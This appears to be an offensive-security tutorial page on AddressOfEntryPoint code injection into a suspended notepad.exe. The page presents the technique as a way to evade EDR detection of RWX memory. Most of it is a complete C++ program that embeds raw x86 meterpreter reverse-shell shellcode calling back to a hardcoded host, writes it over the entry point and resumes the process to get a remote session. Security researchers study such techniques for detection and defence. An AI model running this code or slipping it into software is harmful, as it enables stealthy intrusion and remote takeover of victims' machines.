offensive security
AddressOfEntryPoint Code Injection without VirtualAllocEx RWX
Code Injection
This is a shellcode injection technique that works as follows:
- 1.Start a target process into which the shellcode will be injected, in suspended state.
- 2.Get
AddressOfEntryPointof the target process - 3.Write shellcode to
AddressOfEntryPointretrieved in step 2 - 4.Resume target process
- 5.Catch the incoming shell
What's nice about this technique is that we do not need to allocate RWX memory pages in the victim process which some EDRs may not like.
Execution
First, in order to get
AddressOfEntryPoint, we need to get the image base address of the target process - notepad.exe:
We then need to parse out the NT and Optional Headers and find the AddressEntryPoint (Relative Virtual Address) of the notepad.exe which in my case was at 0001bf90:
Knowing notepad's image base address and an RVA of the AddressEntryPoint, we can get its Virtual Address (by adding the two up) and hijack the executable by overwriting the very first instructions found at that address with our shellcode:
bytes at AddressOfEntryPoint get overwritten with shellcode
Resuming the suspended process executes our shellcode which results in a meterpreter session:
Code
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#include "pch.h"
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#include <iostream>
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#include <windows.h>
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#include <winternl.h>
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#pragma comment(lib, "ntdll")
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​
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int main()
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{
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//x86 meterpreter
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unsigned char shellcode[] =
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"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
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"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
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"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
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"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
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"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
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"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
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"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
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"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
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"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
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"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
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"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
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"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x00\x05"
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"\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
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"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
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"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
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"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
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"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
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"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
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"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
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"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
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"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
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"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
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"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
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STARTUPINFOA si;
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si = {};
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PROCESS_INFORMATION pi = {};
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PROCESS_BASIC_INFORMATION pbi = {};
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DWORD returnLength = 0;
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CreateProcessA(0, (LPSTR)"c:\\windows\\system32\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
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​
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// get target image PEB address and pointer to image base
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NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
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DWORD pebOffset = (DWORD)pbi.PebBaseAddress + 8;
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​
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// get target process image base address
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LPVOID imageBase = 0;
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ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &imageBase, 4, NULL);
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// read target process image headers
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BYTE headersBuffer[4096] = {};
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ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);
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​
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// get AddressOfEntryPoint
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PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
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LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD)imageBase);
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​
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// write shellcode to image entry point and execute it
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WriteProcessMemory(pi.hProcess, codeEntry, shellcode, sizeof(shellcode), NULL);
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ResumeThread(pi.hThread);
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​
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return 0;
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}
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